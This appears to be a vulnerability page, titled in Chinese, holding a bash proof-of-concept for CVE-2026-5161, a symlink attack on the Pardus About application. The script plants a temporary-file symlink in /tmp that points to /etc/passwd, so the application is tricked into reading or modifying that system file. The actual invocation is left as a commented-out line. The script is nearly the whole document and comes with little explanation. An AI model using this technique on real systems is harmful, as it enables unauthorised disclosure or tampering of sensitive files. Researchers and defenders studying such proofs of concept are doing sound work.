CVE-2026-5161 Pardus About符号链接攻击漏洞

#!/bin/bash # PoC for CVE-2026-5161: Symlink Attack in Pardus About # Description: This script demonstrates how a symlink can be created # to trick the vulnerable application into accessing a sensitive file. TARGET_FILE="/etc/passwd" TEMP_DIR="/tmp/vuln_poc" MALICIOUS_LINK="$TEMP_DIR/pardus_config.tmp" echo "[*] Setting up PoC environment..." mkdir -p $TEMP_DIR echo "[*] Creating symbolic link from $MALICIOUS_LINK to $TARGET_FILE" ln -s $TARGET_FILE $MALICIOUS_LINK echo "[*] Triggering the vulnerable application..." # Simulation: In a real scenario, the user would interact with the app, # causing it to read $MALICIOUS_LINK thinking it is a safe temp file. # /usr/bin/pardus-about --config $MALICIOUS_LINK echo "[*] If exploited, the application may have read/modified $TARGET_FILE" ls -la $MALICIOUS_LINK echo "[*] Cleanup" rm -rf $TEMP_DIR